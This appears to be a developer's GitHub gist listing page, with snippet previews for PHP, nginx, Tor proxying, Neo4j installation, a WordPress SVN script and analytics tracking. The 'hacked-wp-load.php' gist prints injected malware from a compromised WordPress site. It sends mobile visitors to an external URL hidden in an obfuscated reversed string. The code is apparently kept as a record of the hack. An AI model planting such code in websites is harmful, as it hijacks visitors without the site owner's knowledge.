Skip to content

Instantly share code, notes, and snippets.

View rolandinsh's full-sized avatar
🧔
Remote developer (LEMP, Node.js, Neo4j [graph])

Rolands rolandinsh

🧔
Remote developer (LEMP, Node.js, Neo4j [graph])
View GitHub Profile
@rolandinsh
rolandinsh / phper.sh
Created June 27, 2018 18:21
php extensions
php-curl
php-mbstring
php-xml
@rolandinsh
rolandinsh / PHP-CURL-Tor-Tutorial.md
Last active August 11, 2023 18:44 — forked from megaxorg/PHP-CURL-Tor-Tutorial.md
PHP: CURL Requests with Tor

#CURL Connections with Tor

Install Apache, PHP, CURL & Tor with apt-get

sudo apt-get install -y apache2 php php-curl tor

Tor creates a proxy on your mashine with port 9050 for SOCKS5 connections.

# Let's Encrypt webroot and https-only server
# via https://community.letsencrypt.org/t/webroot-and-https-only-server-impossible/32506
server {
# SSL configuration
#
listen *:443 ssl http2;
listen [::]:443 ssl http2;
.........
}
@rolandinsh
rolandinsh / rfc2119.md
Created March 19, 2018 08:24
The key words "MUST", "MUST NOT" ... with link to RFC 2119

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119.

@rolandinsh
rolandinsh / hacked-wp-load.php
Last active January 21, 2018 14:00
WordPress hacked wp-load.php
<?php
// (original code from hack)
if(preg_match('/(mobile|ipod|iphone|up.link|mmp|smartphone|o2|pocket|kindle|treo|nokia|blackberry|pre\/0.1|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m_"] != 1)
{@setcookie('m_', '1', time()+3600, '/');
@header(strrev('weu'.'pr'.'kby'.'/moc'.'.lr'.'uyn'.'it'.'//:pt'.'th :noi'.'tac'.'oL'));
die();}
@rolandinsh
rolandinsh / get_current_git_commit.php
Created May 10, 2017 00:06 — forked from stevegrunwell/get_current_git_commit.php
Get current git HEAD using PHP
<?php
/**
* Get the hash of the current git HEAD
* @param str $branch The git branch to check
* @return mixed Either the hash or a boolean false
*/
function get_current_git_commit( $branch='master' ) {
if ( $hash = file_get_contents( sprintf( '.git/refs/heads/%s', $branch ) ) ) {
return $hash;
} else {
@rolandinsh
rolandinsh / gist:1ba866d4c9bf567ab8cd2d69a9a58334
Last active April 16, 2017 14:41
Autortiesības no rolandinsh.lv (drukātā veidā)
Rolands Umbrovskis (raksts www.rolandinsh.lv)
Rolanda Umbrovska raksts "Ceļojums uz Hanzas pilsētu - Brēmeni"
( https://rolandinsh.lv/blog/2008/11/13/celojums-uz-hanzas-pilsetu-bremeni/ )
@rolandinsh
rolandinsh / updatewporg.sh
Last active March 3, 2017 07:49
Update WP.ORG SVN from GitHub's latest release
#!/bin/sh
# The script updates the Wordpress.org SVN repository after pushing
# the latest release from Github
BASE_DIR=`pwd`
TMP_DIR=$BASE_DIR/tmp
mkdir $TMP_DIR
svn co http://plugins.svn.wordpress.org/xxxxxxxx/ $TMP_DIR
@rolandinsh
rolandinsh / gist:170141e1add053ca9879064673a24a69
Last active February 6, 2017 00:51
Installing Neo4j on Ubuntu
cd ~
wget -O - http://debian.neo4j.org/neotechnology.gpg.key >> key.pgp
sudo apt-key add key.pgp
echo 'deb http://debian.neo4j.org/repo stable/' | sudo tee -a /etc/apt/sources.list.d/neo4j.list > /dev/null
sudo apt-get update && sudo apt-get install neo4j
sudo service neo4j (stop|start|restart)
@rolandinsh
rolandinsh / ga-event-tracker.js
Created February 2, 2017 12:34 — forked from cheynewallace/ga-event-tracker.js
jQuery Google Analytics Event Tracking Using HTML Attributes
/*JSHint Options*/
/*global _gaq */
/*
Google Analytics Event Tracking - JSHint Checked
Written By Cheyne Wallace - 19th Nov 2012
Click Usage: <a href="http://somewhere"
class="ga-track"
event_category="Event Category"
event_action="Specific Action"
event_label="Optional Message"